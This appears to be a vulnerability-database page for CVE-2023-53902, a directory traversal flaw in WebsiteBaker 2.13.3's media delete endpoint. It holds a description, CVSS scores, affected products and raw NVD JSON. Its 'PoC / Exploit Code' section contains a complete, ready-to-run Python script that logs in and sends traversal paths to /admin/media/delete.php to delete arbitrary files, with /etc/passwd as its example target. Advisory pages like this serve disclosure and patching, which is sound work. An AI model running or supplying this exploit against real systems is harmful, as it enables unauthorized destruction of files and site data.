Security Vulnerability Report
中文
CVE-2023-53902 CVSS 6.5 MEDIUM

CVE-2023-53902

Published: 2025-12-16 17:16:03
Last Modified: 2025-12-24 16:58:05

Description

WebsiteBaker 2.13.3 contains a directory traversal vulnerability that allows authenticated attackers to delete arbitrary files by manipulating directory path parameters. Attackers can send crafted GET requests to /admin/media/delete.php with directory traversal sequences to delete files outside the intended directory.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:websitebaker:websitebaker:2.13.3:*:*:*:*:*:*:* - VULNERABLE
WebsiteBaker 2.13.3
WebsiteBaker < 2.13.4 (修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2023-53902 PoC - WebsiteBaker Directory Traversal File Delete # Target: WebsiteBaker 2.13.3 # Endpoint: /admin/media/delete.php def exploit_cve_2023_53902(target_url, username, password, target_file): """ Exploit for CVE-2023-53902: WebsiteBaker Directory Traversal via media delete endpoint Args: target_url: Base URL of the vulnerable WebsiteBaker instance username: Valid low-privilege user credentials password: User password target_file: Absolute path of file to delete (e.g., /etc/passwd) Returns: bool: True if exploitation successful, False otherwise """ session = requests.Session() # Step 1: Login to obtain authenticated session login_url = f"{target_url}/admin/login/index.php" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed with status code: {response.status_code}") return False print("[+] Successfully authenticated") # Step 2: Construct directory traversal payload # Convert absolute path to traversal sequence # Example: /etc/passwd -> ../../../etc/passwd traversal_path = "../../../" + target_file.lstrip("/") # Step 3: Send malicious delete request delete_url = f"{target_url}/admin/media/delete.php" params = { 'dir': traversal_path, 'file': target_file.split('/')[-1] } response = session.get(delete_url, params=params, timeout=10) # Step 4: Verify deletion if response.status_code == 200: print(f"[+] Potentially exploited: File deletion request sent") print(f"[+] Target file: {target_file}") print(f"[+] Traversal path used: {traversal_path}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False # Example usage if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2023_53902.py <target_url> <username> <password> <file_to_delete>") print("Example: python cve_2023_53902.py http://target.com admin password /etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] exploit_cve_2023_53902(target, user, pwd, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53902", "sourceIdentifier": "[email protected]", "published": "2025-12-16T17:16:02.537", "lastModified": "2025-12-24T16:58:04.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WebsiteBaker 2.13.3 contains a directory traversal vulnerability that allows authenticated attackers to delete arbitrary files by manipulating directory path parameters. Attackers can send crafted GET requests to /admin/media/delete.php with directory traversal sequences to delete files outside the intended directory."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:websitebaker:websitebaker:2.13.3:*:*:*:*:*:*:*", "matchCriteriaId": "52C2C264-F74B-4BD0-9A67-6B851B62DAE2"}]}]}], "references": [{"url": "https://websitebaker.org/pages/en/home.php", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51554", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/websitebaker-directory-traversal-via-media-delete-endpoint", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}]}}